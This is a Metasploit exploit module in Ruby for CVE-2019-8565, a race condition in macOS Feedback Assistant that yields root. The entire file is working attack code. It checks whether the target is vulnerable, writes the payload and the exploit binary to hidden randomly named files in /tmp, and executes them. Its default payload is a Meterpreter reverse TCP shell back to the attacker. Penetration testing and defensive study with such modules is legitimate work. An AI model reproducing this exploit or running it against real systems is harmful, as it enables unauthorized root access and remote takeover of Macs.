Path: blob/master/modules/exploits/osx/local/feedback_assistant_root.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X Feedback Assistant Race Condition',19'Description' => %q{20This module exploits a race condition vulnerability in Mac's Feedback Assistant.21A successful attempt would result in remote code execution under the context of22root.23},24'License' => MSF_LICENSE,25'Author' => [26'CodeColorist', # Discovery and exploit27'timwr', # Metasploit module28],29'References' => [30['CVE', '2019-8565'],31['URL', 'http://web.archive.org/web/20190423083938/https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],32['URL', 'https://support.apple.com/en-in/HT209600'],33['URL', 'https://github.com/ChiChou/sploits'],34],35'SessionTypes' => [ 'meterpreter', 'shell' ],36'Platform' => [ 'osx', 'python', 'unix' ],37'DefaultTarget' => 0,38'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },39'Targets' => [40[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],41[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],42[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],43],44'DisclosureDate' => '2019-04-13',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52register_advanced_options [53OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])54]55end5657def upload_executable_file(filepath, filedata)58print_status("Uploading file: '#{filepath}'")59write_file(filepath, filedata)60chmod(filepath)61register_file_for_cleanup(filepath)62end6364def check65version = get_system_version6667return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?6869version = Rex::Version.new(version)7071if version >= Rex::Version.new('10.14.4')72return CheckCode::Safe("OSX version #{version} is not vulnerable.")73end7475CheckCode::Appears("OSX version #{version} appears vulnerable.")76end7778def exploit79if check != CheckCode::Appears80fail_with Failure::NotVulnerable, 'Target is not vulnerable'81end8283if is_root?84fail_with Failure::BadConfig, 'Session already has root privileges'85end8687unless writable? datastore['WritableDir']88fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"89end9091case target['Arch']92when ARCH_X6493payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"94binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)95upload_executable_file(payload_file, binary_payload)96root_cmd = payload_file97when ARCH_PYTHON98root_cmd = "echo \"#{payload.encoded}\" | python"99else100root_cmd = payload.encoded101end102root_cmd = root_cmd + " & \0"103if root_cmd.length > 1024104fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"105end106107exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit"))108placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')109exploit_data[placeholder_index, root_cmd.length] = root_cmd110111exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"112upload_executable_file(exploit_file, exploit_data)113114print_status("Executing exploit '#{exploit_file}'")115result = cmd_exec(exploit_file)116print_status("Exploit result:\n#{result}")117end118end119120121